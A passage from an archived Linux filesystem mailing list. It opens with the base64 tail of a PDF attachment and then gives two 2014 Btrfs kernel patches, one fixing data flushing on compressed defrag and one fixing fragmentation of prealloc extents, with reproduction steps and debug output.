gOObJg5zH9baeSszAsfynNsMT7u4qcmka5Q85FxFucfTVay4RcnCzyYL7ZKLE0BzJj7a9dcbTn3c vqjp+e6+u5qwPz5a0CHde+/mOytuuOmqRTgf0+97a1lLu8eFPzuXxxRyptjj+x/KJzuDtErnNdvB Btlwg7/dzXhSfcz81EZmqXZpaqPpKq5Tuzp1hXO97vqUsDWcOcjcmjJoGrRa8YPs7PSsAxYODJyh 3dBj2GLQGgya0XR7Sop9BI7nenMxG0fMT+co/nSRXz46NJW1q5+cWS1XMr19PLknAs+Bi9r8ZP5r zp9/0XD0yc2vLyi67Sfb4t+Lj+IKLEYLWuOPsBsi/dsN+J8je9q88Z9XlGI5fUDaMRD/j/j5FTdu 3ngLnRhj9LVtofjbodYvoS3DNp+P2DTIGQ0PZXAmMCKF3FHuCDsYLm3EeDQzaeXHdJDUKwbWkX0u F0/bsUBNGV45nqqrKfg2rSX+sIm3Lg1U9F1OVvWHYxufOsWUNe0Q8/NE6fyEznrh1ZbW115VTqB9 1GSTFcqpV+F3ab8NOk4n6lgdMGbUPA4j2scBOWSwNSWcEklhu7xdExcmFBu6ps+zGpqYsSjzpMZH 8A5Nzz7kIekfY1FHzvFbGGKMTA+kDWsjWmUgxZXpM1HtT8rJfvrXNXdDEVzjv1JjZ7Nt2UWOA/a/ cx6xP+U0FDw0h+MzBUZjSnnIypnNptwRYSwTRxjeOGIaA3pHolJSDCXlJa0lkRJNl7LzuqYuVHKT dVPTscusq1dXl1fDl1xNJXy2ZO6qre0ioWYq/rDBYlncUNVbpNjZNbZuYKx848vXPXUi/rDewi9p LFvJZp+fYCratrjdLo/j/ISm547FbT3h1f1vnrqQz1S0bya+ADOrTt79/lU3/ymrbvtyq04mqYuu 7Ki3tAW0o9JAApffYhtN4VyjrN28DY7nO7fpnnbTfLQdaDMoccJk1qstVldXzc6tUzZ3pl3Z39qC +In4T6mewADmYQFeGQ9IklsUO+fOXZ7vKsxziaG6ihBTQRvgOaxHG2bigvjJC296br2+Z3tRcV52 SeHOdWt2FBe6XUqUPIn32K3avwUnLPGXpmqdWsacFklj0jij/kBaqtnpzDzA2k3KyzHkmHPQYORG Ug0DetR7u3w+Om+76KLr8oFy9Nb76KbzdlHc8pMHLS/RTaaEzcXPnMI1PnbrvLuv+eGpBx/Eflwe f4IxmxY2Za+25Kaa+bF/YYxT5NCzU/HNlwclqdiRqr5fC3+0zvsS9b++asWtan2ZqVXr7cxBtf4j 62NvYl+YqZrMS/VSvVQv1Uv1Uv2/qcpX9fSvUspboPKZPIeAPrGBbVu+7KpFfNOqVmlhy1f9L85f YNHQza+0GiU+Z42JBLWotERrQPkNog2WwzK4ChYBD02wClrpXW0htKgaFoorQ5gOjAAdHYGKqoa5 DRW1g+Xl6u+CeD9ov7QlX/i321k4m/gcA2fUcBaY4/CnwQQc+XOA/il44P8btEFYOQuj0KltheAs HIYx8nffRTBmuAXGFL72TpJ/Adj94Enujz9QlHXQMvfF5CeOXWue/xE4kwv39xvbP1Wezz126vS5 /Re+YTxoyCbdFDU/qPw3Cmwe4AplbmRzdHJlYW0KZW5kb2JqCjM5IDAgb2JqCjM4NzgKZW5kb2Jq CjIxIDAgb2JqCjw8L0Jhc2VGb250L0hVRUNWUCtUVEUyNDVBMEQ4dDAwL0ZvbnREZXNjcmlwdG9y IDIwIDAgUi9UeXBlL0ZvbnQKL0ZpcnN0Q2hhciAxL0xhc3RDaGFyIDMzL1dpZHRoc1sgMjUwIDcy NCA0NTkgNDQzIDM4MyA1ODQgMzc5IDgyMSAyODUgMjg2IDc1NiA3NzEgNTY2IDMxMCA1MzUKNTQx IDUyOCA2MDIgMzE4IDQ0NiA1MTggMjUwIDM1MyA2NTMgNzEyIDY0NyA3MTAgNTUyIDU5MCA2NzUg OTAzCjcyNiA2MDNdCi9FbmNvZGluZyA0MCAwIFIvU3VidHlwZS9UcnVlVHlwZT4+CmVuZG9iago0 MCAwIG9iago8PC9UeXBlL0VuY29kaW5nL0Jhc2VFbmNvZGluZy9XaW5BbnNpRW5jb2RpbmcvRGlm ZmVyZW5jZXNbCjEvc3BhY2UvRC9lL2Evci9FL2h5cGhlbi9tL2kvbC9PL3cvbi9zbGFzaC9GL3Uv ZC9CL2YvYy95L2NvbW1hL0kvUi9WL0MvQS9ML1AvWS9NL04vVF0+PgplbmRvYmoKMjMgMCBvYmoK PDwvQmFzZUZvbnQvU05EQUJOK1RpbWVzLVJvbWFuL0ZvbnREZXNjcmlwdG9yIDIyIDAgUi9UeXBl L0ZvbnQKL0ZpcnN0Q2hhciAzMi9MYXN0Q2hhciAzMi9XaWR0aHNbCjI1MF0KL0VuY29kaW5nL1dp bkFuc2lFbmNvZGluZy9TdWJ0eXBlL1R5cGUxPj4KZW5kb2JqCjEzIDAgb2JqCjw8L0Jhc2VGb250 L1ZSQ0JBVCtUVEUxNUYzQUEwdDAwL0ZvbnREZXNjcmlwdG9yIDEyIDAgUi9UeXBlL0ZvbnQKL0Zp cnN0Q2hhciAxL0xhc3RDaGFyIDI3L1dpZHRoc1sgMzMzIDgzMyA2NjcgMTAwMCA2NjcgNjY3IDcy MiA2NjcgNDQ0IDMzMyA2MTEgNjY3IDM4OSA4MzMgNzc4Cjc3OCA2NjcgNzIyIDcyMiA4MzMgNzc4 IDM4OSAzODkgNzIyIDgzMyA3NzggODMzXQovRW5jb2RpbmcgNDEgMCBSL1N1YnR5cGUvVHJ1ZVR5 cGU+PgplbmRvYmoKNDEgMCBvYmoKPDwvVHlwZS9FbmNvZGluZy9CYXNlRW5jb2RpbmcvV2luQW5z aUVuY29kaW5nL0RpZmZlcmVuY2VzWwoxL3NwYWNlL0gvdS9tL2Evbi9TL2UvdC9sL3MvRi9JL04v QS9DL0wvVC9FL0cvUi9wYXJlbmxlZnQvcGFyZW5yaWdodC9QL1UvQi9PXT4+CmVuZG9iagoxNSAw IG9iago8PC9CYXNlRm9udC9UQ09WQUErSGVsdmV0aWNhL0ZvbnREZXNjcmlwdG9yIDE0IDAgUi9U eXBlL0ZvbnQKL0ZpcnN0Q2hhciAzMi9MYXN0Q2hhciAxMjIvV2lkdGhzWwoyNzggMCAwIDAgMCAw IDAgMTkxIDMzMyAzMzMgMCAwIDI3OCAzMzMgMjc4IDI3OAo1NTYgNTU2IDU1NiA1NTYgNTU2IDU1 NiA1NTYgNTU2IDU1NiA1NTYgMjc4IDI3OCAwIDAgMCAwCjAgNjY3IDY2NyA3MjIgMCA2NjcgNjEx IDc3OCA3MjIgMjc4IDUwMCA2NjcgNTU2IDgzMyA3MjIgNzc4CjY2NyAwIDcyMiA2NjcgNjExIDcy MiA2NjcgOTQ0IDY2NyA2NjcgMCAwIDAgMCAwIDAKMCA1NTYgNTU2IDUwMCA1NTYgNTU2IDI3OCA1 NTYgNTU2IDIyMiAwIDUwMCAyMjIgODMzIDU1NiA1NTYKNTU2IDU1NiAzMzMgNTAwIDI3OCA1NTYg NTAwIDcyMiA1MDAgNTAwIDUwMF0KL0VuY29kaW5nL1dpbkFuc2lFbmNvZGluZy9TdWJ0eXBlL1R5 cGUxPj4KZW5kb2JqCjE3IDAgb2JqCjw8L0Jhc2VGb250L1dPR1RXRCtIZWx2ZXRpY2EtQm9sZC9G b250RGVzY3JpcHRvciAxNiAwIFIvVHlwZS9Gb250Ci9GaXJzdENoYXIgMzIvTGFzdENoYXIgMTIx L1dpZHRoc1sKMjc4IDAgMCAwIDU1NiAwIDAgMCAzMzMgMzMzIDAgNTg0IDI3OCAzMzMgMjc4IDI3 OAo1NTYgNTU2IDU1NiA1NTYgNTU2IDU1NiAwIDU1NiA1NTYgNTU2IDMzMyAwIDAgMCAwIDAKMCA3 MjIgNzIyIDcyMiA3MjIgNjY3IDYxMSA3NzggNzIyIDI3OCAwIDcyMiA2MTEgODMzIDcyMiA3NzgK NjY3IDAgNzIyIDY2NyA2MTEgNzIyIDY2NyA5NDQgMCA2NjcgMCAwIDAgMCAwIDAKMCA1NTYgNjEx IDU1NiA2MTEgNTU2IDMzMyA2MTEgNjExIDI3OCAwIDU1NiAyNzggODg5IDYxMSA2MTEKNjExIDAg Mzg5IDU1NiAzMzMgNjExIDU1NiAwIDU1NiA1NTZdCi9FbmNvZGluZy9XaW5BbnNpRW5jb2Rpbmcv U3VidHlwZS9UeXBlMT4+CmVuZG9iagoxOSAwIG9iago8PC9CYXNlRm9udC9MWUJLVlArVFRFMTVC NEIxOHQwMC9Gb250RGVzY3JpcHRvciAxOCAwIFIvVHlwZS9Gb250Ci9GaXJzdENoYXIgMS9MYXN0 Q2hhciAxMy9XaWR0aHNbIDM0MiA2ODcgNzEyIDM0MiAzNDIgNjY0IDM2MSA2NjggNDU2IDEwNTgg OTY0IDY5OSA3MTJdCi9FbmNvZGluZyA0MiAwIFIvU3VidHlwZS9UcnVlVHlwZT4+CmVuZG9iago0 MiAwIG9iago8PC9UeXBlL0VuY29kaW5nL0Jhc2VFbmNvZGluZy9XaW5BbnNpRW5jb2RpbmcvRGlm ZmVyZW5jZXNbCjEvc3BhY2Uvby9uL2wvaS9lL3BlcmlvZC9hL3QvbS9hdC9kL2hdPj4KZW5kb2Jq CjIwIDAgb2JqCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvSFVFQ1ZQK1RURTI0NUEw RDh0MDAvRm9udEJCb3hbLTkgLTI1NyA4NzggNzI2XS9GbGFncyA0Ci9Bc2NlbnQgNzI2Ci9DYXBI ZWlnaHQgNzI2Ci9EZXNjZW50IC0yNTcKL0l0YWxpY0FuZ2xlIDAKL1N0ZW1WIDEzMQovTWlzc2lu Z1dpZHRoIDUwMAovRm9udEZpbGUyIDI4IDAgUj4+CmVuZG9iagoyMiAwIG9iago8PC9UeXBlL0Zv bnREZXNjcmlwdG9yL0ZvbnROYW1lL1NOREFCTitUaW1lcy1Sb21hbi9Gb250QkJveFswIDAgMTAw MCAxMDAwXS9GbGFncyA1Ci9Bc2NlbnQgMAovQ2FwSGVpZ2h0IDAKL0Rlc2NlbnQgMAovSXRhbGlj QW5nbGUgMAovU3RlbVYgMAovQXZnV2lkdGggMjUwCi9NYXhXaWR0aCAyNTAKL01pc3NpbmdXaWR0 aCAyNTAKL0NoYXJTZXQoL3NwYWNlKS9Gb250RmlsZTMgMzAgMCBSPj4KZW5kb2JqCjEyIDAgb2Jq Cjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvVlJDQkFUK1RURTE1RjNBQTB0MDAvRm9u dEJCb3hbMCAtMjEwIDk0MSA3MjhdL0ZsYWdzIDQKL0FzY2VudCA3MjgKL0NhcEhlaWdodCA3MjgK L0Rlc2NlbnQgLTIxMAovSXRhbGljQW5nbGUgMAovU3RlbVYgMTQxCi9NaXNzaW5nV2lkdGggNzUw Ci9Gb250RmlsZTIgMzIgMCBSPj4KZW5kb2JqCjE0IDAgb2JqCjw8L1R5cGUvRm9udERlc2NyaXB0 b3IvRm9udE5hbWUvVENPVkFBK0hlbHZldGljYS9Gb250QkJveFstOCAtMjE4IDkyOSA3NDFdL0Zs YWdzIDQKL0FzY2VudCA3NDEKL0NhcEhlaWdodCA3NDEKL0Rlc2NlbnQgLTIxOAovSXRhbGljQW5n bGUgMAovU3RlbVYgMTM5Ci9NaXNzaW5nV2lkdGggMjc4Ci9DaGFyU2V0KC9mb3VyL0wvQS95L24v Yy9YL2ZpdmUvTS9CL3ovby9kL1kvc2l4L04vQy9wL2Uvc2V2ZW4vTy9xL2YvZWlnaHQvUC9FL3Iv Zy9uaW5lL0Yvcy9oL2NvbG9uL1IvRy90L2kvc2VtaWNvbG9uL1MvSC91L1QvSS92L3F1b3Rlc2lu Z2xlL2svVS9KL3cvbC9hL1YvSy94L20vYi9XL3BhcmVucmlnaHQvc3BhY2UvY29tbWEvaHlwaGVu L3BlcmlvZC9zbGFzaC96ZXJvL29uZS90d28vdGhyZWUvcGFyZW5sZWZ0KS9Gb250RmlsZTMgMzQg MCBSPj4KZW5kb2JqCjE2IDAgb2JqCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvV09H VFdEK0hlbHZldGljYS1Cb2xkL0ZvbnRCQm94WzAgLTIxOSA5MzIgNzYzXS9GbGFncyA0Ci9Bc2Nl bnQgNzYzCi9DYXBIZWlnaHQgNzYzCi9EZXNjZW50IC0yMTkKL0l0YWxpY0FuZ2xlIDAKL1N0ZW1W IDEzOQovTWlzc2luZ1dpZHRoIDI3OAovQ2hhclNldCgvZm91ci9ML0EveS9uL2MvZml2ZS9NL0Iv by9kL1kvTi9DL3AvZS9zZXZlbi9PL0QvZi9laWdodC9QL0Uvci9nL25pbmUvRi9zL2gvY29sb24v Ui9HL3QvaS9TL0gvdS9UL0kvdi9rL1UvbC9hL1YvSy94L20vYi9XL3BhcmVucmlnaHQvcGx1cy9z cGFjZS9jb21tYS9oeXBoZW4vcGVyaW9kL3NsYXNoL2RvbGxhci96ZXJvL29uZS90d28vdGhyZWUv cGFyZW5sZWZ0KS9Gb250RmlsZTMgMzYgMCBSPj4KZW5kb2JqCjE4IDAgb2JqCjw8L1R5cGUvRm9u dERlc2NyaXB0b3IvRm9udE5hbWUvTFlCS1ZQK1RURTE1QjRCMTh0MDAvRm9udEJCb3hbMCAtMTEx IDk3OCA3NTldL0ZsYWdzIDQKL0FzY2VudCA3NTkKL0NhcEhlaWdodCA3NTkKL0Rlc2NlbnQgLTEx MQovSXRhbGljQW5nbGUgMAovU3RlbVYgMTQ2Ci9NaXNzaW5nV2lkdGggMTAwMAovRm9udEZpbGUy IDM4IDAgUj4+CmVuZG9iagoyIDAgb2JqCjw8L1Byb2R1Y2VyKEdQTCBHaG9zdHNjcmlwdCA4LjE1 KQovQ3JlYXRpb25EYXRlKEQ6MjAxNDAxMDcxMTI3NTApCi9Nb2REYXRlKEQ6MjAxNDAxMDcxMTI3 NTApCi9UaXRsZShNaWNyb3NvZnQgV29yZCAtIEZpbmFuY2lhbCBJbnRlbGxpZ2VuY2UgSGVhZHF1 YXJ0ZXJzMSkKL0NyZWF0b3IoUFNjcmlwdDUuZGxsIFZlcnNpb24gNS4yKQovQXV0aG9yKEFkbWlu aXN0cmF0b3IpPj5lbmRvYmoKeHJlZgowIDQzCjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAxMDY4 NyAwMDAwMCBuIAowMDAwMjI2MjUwIDAwMDAwIG4gCjAwMDAwMTA2MTkgMDAwMDAgbiAKMDAwMDAx MDQwOCAwMDAwMCBuIAowMDAwMDAwMDE1IDAwMDAwIG4gCjAwMDAwMTAzODcgMDAwMDAgbiAKMDAw MDAxMDczNSAwMDAwMCBuIAowMDAwMDgwNTU0IDAwMDAwIG4gCjAwMDAwMTA3NzYgMDAwMDAgbiAK MDAwMDA2NzczNiAwMDAwMCBuIAowMDAwMDExNDUxIDAwMDAwIG4gCjAwMDAyMjQ5NzEgMDAwMDAg biAKMDAwMDIyMjg1MCAwMDAwMCBuIAowMDAwMjI1MTc4IDAwMDAwIG4gCjAwMDAyMjMyNjUgMDAw MDAgbiAKMDAwMDIyNTYxOSAwMDAwMCBuIAowMDAwMjIzNzM4IDAwMDAwIG4gCjAwMDAyMjYwNDIg MDAwMDAgbiAKMDAwMDIyNDIwNCAwMDAwMCBuIAowMDAwMjI0NTI0IDAwMDAwIG4gCjAwMDAyMjIy NDQgMDAwMDAgbiAKMDAwMDIyNDczMiAwMDAwMCBuIAowMDAwMjIyNjkwIDAwMDAwIG4gCjAwMDAw MTEzMzkgMDAwMDAgbiAKMDAwMDAxMTM2OSAwMDAwMCBuIAowMDAwMDExMzk5IDAwMDAwIG4gCjAw MDAxOTI4MDkgMDAwMDAgbiAKMDAwMDE5Mjg5NiAwMDAwMCBuIAowMDAwMjAzMjYzIDAwMDAwIG4g CjAwMDAyMDMyODUgMDAwMDAgbiAKMDAwMDIwMzY1NyAwMDAwMCBuIAowMDAwMjAzNjc3IDAwMDAw IG4gCjAwMDAyMDkyMzUgMDAwMDAgbiAKMDAwMDIwOTI1NiAwMDAwMCBuIAowMDAwMjEzODA0IDAw MDAwIG4gCjAwMDAyMTM4MjUgMDAwMDAgbiAKMDAwMDIxODI0MCAwMDAwMCBuIAowMDAwMjE4MjYx IDAwMDAwIG4gCjAwMDAyMjIyMjMgMDAwMDAgbiAKMDAwMDIyMjUyNyAwMDAwMCBuIAowMDAwMjIz MTEwIDAwMDAwIG4gCjAwMDAyMjQ0MDggMDAwMDAgbiAKdHJhaWxlcgo8PCAvU2l6ZSA0MyAvUm9v dCAxIDAgUiAvSW5mbyAyIDAgUgovSUQgWygaAlu1OBX2ILwZJfjGjr91KSgaAlu1OBX2ILwZJfjG jr91KV0KPj4Kc3RhcnR4cmVmCjIyNjQ3OQolJUVPRgo= ------=_Part_34882948_1994962937.1393656912500-- From fdmanana@gmail.com Sat Mar 1 04:56:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 91EFE7F3F for ; Sat, 1 Mar 2014 04:56:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60FC5304043 for ; Sat, 1 Mar 2014 02:56:05 -0800 (PST) X-ASG-Debug-ID: 1393671362-04bdf05daa163390001-NocioJ Received: from mail-wi0-f172.google.com (mail-wi0-f172.google.com [209.85.212.172]) by cuda.sgi.com with ESMTP id Alym2EjyejubQD4D (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Mar 2014 02:56:03 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.172 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.172] Received: by mail-wi0-f172.google.com with SMTP id r20so1666800wiv.17 for ; Sat, 01 Mar 2014 02:56:02 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.172] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.172] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=sMBStUVeVBWfSUod8waoDNmgmrSSvufTHPzGBpPyEX4=; b=K42lSOvb/oguVJz1kT/j8eKoLucEbHrvmU6IRRtjC2fBkUz+liUM1A3K0lSamjO5Kc U9+Z+ltxb6Pq4bwTAP/9dtBIJtORSoFGG2LU00luC92y9gHdjUUzz7iklhFfqaa7TQRI cV2c9QeoO+S2hdy0QQbaRv5RQKQciIFezpYEsf48l5Lfy3DlVi3fxrgRwSzPb2dONdrP 2gOxbjKT5VHcHOlplRan3XcRjzQBj7/Mavh6tUs9ta7c3JSBqSjmUtLnnV7pemD60wxn 88AotJnO3+zR/YluRflHo4aD77ffaXR89YP+FAqNqlsrFbXVsYC/PLL7NDQXaKIL3hIV D51A== X-Received: by 10.180.165.174 with SMTP id yz14mr7298119wib.34.1393671361888; Sat, 01 Mar 2014 02:56:01 -0800 (PST) Received: from storm-desktop.lan (bl5-78-108.dsl.telepac.pt. [82.154.78.108]) by mx.google.com with ESMTPSA id fs4sm13345271wib.11.2014.03.01.02.56.01 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Mar 2014 02:56:01 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] Btrfs: correctly flush data on defrag when compression is enabled Date: Sat, 1 Mar 2014 10:55:54 +0000 X-ASG-Orig-Subj: [PATCH] Btrfs: correctly flush data on defrag when compression is enabled Message-Id: <1393671354-7140-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wi0-f172.google.com[209.85.212.172] X-Barracuda-Start-Time: 1393671363 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145634 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature When the defrag flag BTRFS_DEFRAG_RANGE_START_IO is set and compression enabled, we weren't flushing completely, as writing compressed extents is a 2 steps process, one to compress the data and another one to write the compressed data to disk. Signed-off-by: Filipe David Borba Manana --- fs/btrfs/ioctl.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/fs/btrfs/ioctl.c b/fs/btrfs/ioctl.c index d4c1795..f914b5d 100644 --- a/fs/btrfs/ioctl.c +++ b/fs/btrfs/ioctl.c @@ -1382,8 +1382,12 @@ int btrfs_defrag_file(struct inode *inode, struct file *file, } } - if ((range->flags & BTRFS_DEFRAG_RANGE_START_IO)) + if ((range->flags & BTRFS_DEFRAG_RANGE_START_IO)) { filemap_flush(inode->i_mapping); + if (test_bit(BTRFS_INODE_HAS_ASYNC_EXTENT, + &BTRFS_I(inode)->runtime_flags)) + filemap_flush(inode->i_mapping); + } if ((range->flags & BTRFS_DEFRAG_RANGE_COMPRESS)) { /* the filemap_flush will queue IO into the worker threads, but -- 1.7.9.5 From fdmanana@gmail.com Sat Mar 1 04:57:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2AEB97F3F for ; Sat, 1 Mar 2014 04:57:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4393AC002 for ; Sat, 1 Mar 2014 02:57:13 -0800 (PST) X-ASG-Debug-ID: 1393671431-04bdf05dab163620001-NocioJ Received: from mail-wg0-f51.google.com (mail-wg0-f51.google.com [74.125.82.51]) by cuda.sgi.com with ESMTP id 8kzx2eGALu7AwIsD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Mar 2014 02:57:12 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.51 Received: by mail-wg0-f51.google.com with SMTP id a1so1444263wgh.22 for ; Sat, 01 Mar 2014 02:57:10 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=TUkc6VFd7iSRDjAk9H9h4yHx3Vi0OuwLQt+OturrGe0=; b=VEUZ1Oz3E7cyHAolyuy4PFqLNHE9OU1aAMY6nZpRRkPIDwqxyGuDl4boENnD/NQ2py izqB7gQVztUifcj7nXFZIuriqUUr00uxzCy0wvOT51YZ6TxC7HYCgxOI2YdmCELt1TYP Wub5qvRTrflqIHB7cI3Ew+3MxcYg1lHj12d59gbP8F0lqfsXIOTXV57jGAAtZ37kjvyj jjVEoHDupahdMa3mtyezx/WM4RFarctiaUrAX2A0O46ySeATCuZfct4g7kgTU5ZG4NjA DV4Q8+nla+DZuHN2M8gKJfPTJMBzRWH/Ve/2HlJoaqO2WtKBeNR4m87yAhtuylcuq+fG glag== X-Received: by 10.180.7.227 with SMTP id m3mr6456869wia.59.1393671430599; Sat, 01 Mar 2014 02:57:10 -0800 (PST) Received: from storm-desktop.lan (bl5-78-108.dsl.telepac.pt. [82.154.78.108]) by mx.google.com with ESMTPSA id ff7sm14476895wic.10.2014.03.01.02.57.09 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Mar 2014 02:57:09 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] Btrfs: make defrag not fragment files when using prealloc extents Date: Sat, 1 Mar 2014 10:57:03 +0000 X-ASG-Orig-Subj: [PATCH] Btrfs: make defrag not fragment files when using prealloc extents Message-Id: <1393671423-7349-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wg0-f51.google.com[74.125.82.51] X-Barracuda-Start-Time: 1393671431 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145634 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature When using prealloc extents, a file defragment operation may actually fragment the file and increase the amount of data space used by the file. This change fixes that behaviour. Example: $ mkfs.btrfs -f /dev/sdb3 $ mount /dev/sdb3 /mnt $ cd /mnt $ xfs_io -f -c 'falloc 0 1048576' foobar && sync $ xfs_io -c 'pwrite -S 0xff -b 100000 5000 100000' foobar $ xfs_io -c 'pwrite -S 0xac -b 100000 200000 100000' foobar $ xfs_io -c 'pwrite -S 0xe1 -b 100000 900000 100000' foobar && sync Before defragmenting the file: $ btrfs filesystem df /mnt Data, single: total=8.00MiB, used=1.25MiB System, DUP: total=8.00MiB, used=16.00KiB System, single: total=4.00MiB, used=0.00 Metadata, DUP: total=1.00GiB, used=112.00KiB Metadata, single: total=8.00MiB, used=0.00 $ btrfs-debug-tree /dev/sdb3 (...) item 6 key (257 EXTENT_DATA 0) itemoff 15810 itemsize 53 prealloc data disk byte 12845056 nr 1048576 prealloc data offset 0 nr 4096 item 7 key (257 EXTENT_DATA 4096) itemoff 15757 itemsize 53 extent data disk byte 12845056 nr 1048576 extent data offset 4096 nr 102400 ram 1048576 extent compression 0 item 8 key (257 EXTENT_DATA 106496) itemoff 15704 itemsize 53 prealloc data disk byte 12845056 nr 1048576 prealloc data offset 106496 nr 90112 item 9 key (257 EXTENT_DATA 196608) itemoff 15651 itemsize 53 extent data disk byte 12845056 nr 1048576 extent data offset 196608 nr 106496 ram 1048576 extent compression 0 item 10 key (257 EXTENT_DATA 303104) itemoff 15598 itemsize 53 prealloc data disk byte 12845056 nr 1048576 prealloc data offset 303104 nr 593920 item 11 key (257 EXTENT_DATA 897024) itemoff 15545 itemsize 53 extent data disk byte 12845056 nr 1048576 extent data offset 897024 nr 106496 ram 1048576 extent compression 0 item 12 key (257 EXTENT_DATA 1003520) itemoff 15492 itemsize 53 prealloc data disk byte 12845056 nr 1048576 prealloc data offset 1003520 nr 45056 (...) Now defragmenting the file results in more data space used than before: $ btrfs filesystem defragment -f foobar && sync $ btrfs filesystem df /mnt Data, single: total=8.00MiB, used=1.55MiB System, DUP: total=8.00MiB, used=16.00KiB System, single: total=4.00MiB, used=0.00 Metadata, DUP: total=1.00GiB, used=112.00KiB Metadata, single: total=8.00MiB, used=0.00 And the corresponding file extent items are now no longer perfectly sequential as before, and we're now needlessly using more space from data block groups: $ btrfs-debug-tree /dev/sdb3 (...) item 6 key (257 EXTENT_DATA 0) itemoff 15810 itemsize 53 extent data disk byte 12845056 nr 1048576 extent data offset 0 nr 4096 ram 1048576 extent compression 0 item 7 key (257 EXTENT_DATA 4096) itemoff 15757 itemsize 53 extent data disk byte 13893632 nr 102400 extent data offset 0 nr 102400 ram 102400 extent compression 0 item 8 key (257 EXTENT_DATA 106496) itemoff 15704 itemsize 53 extent data disk byte 12845056 nr 1048576 extent data offset 106496 nr 90112 ram 1048576 extent compression 0 item 9 key (257 EXTENT_DATA 196608) itemoff 15651 itemsize 53 extent data disk byte 13996032 nr 106496 extent data offset 0 nr 106496 ram 106496 extent compression 0 item 10 key (257 EXTENT_DATA 303104) itemoff 15598 itemsize 53 prealloc data disk byte 12845056 nr 1048576 prealloc data offset 303104 nr 593920 item 11 key (257 EXTENT_DATA 897024) itemoff 15545 itemsize 53 extent data disk byte 14102528 nr 106496 extent data offset 0 nr 106496 ram 106496 extent compression 0 item 12 key (257 EXTENT_DATA 1003520) itemoff 15492 itemsize 53 extent data disk byte 12845056 nr 1048576 extent data offset 1003520 nr 45056 ram 1048576 extent compression 0 (...) With this change, the above example will no longer cause allocation of new data space nor change the sequentiality of the file extents, that is, defragment will be effectless, leaving all extent items pointing to the extent starting at disk byte 12845056. In a 20Gb filesystem I had, mounted with the autodefrag option and 20 files of 400Mb each, initially consisting of a single prealloc extent of 400Mb, having random writes happening at a low rate, lead to a total of over ~17Gb of data space used, not far from eventually reaching an ENOSPC state. Signed-off-by: Filipe David Borba Manana --- fs/btrfs/ioctl.c | 3 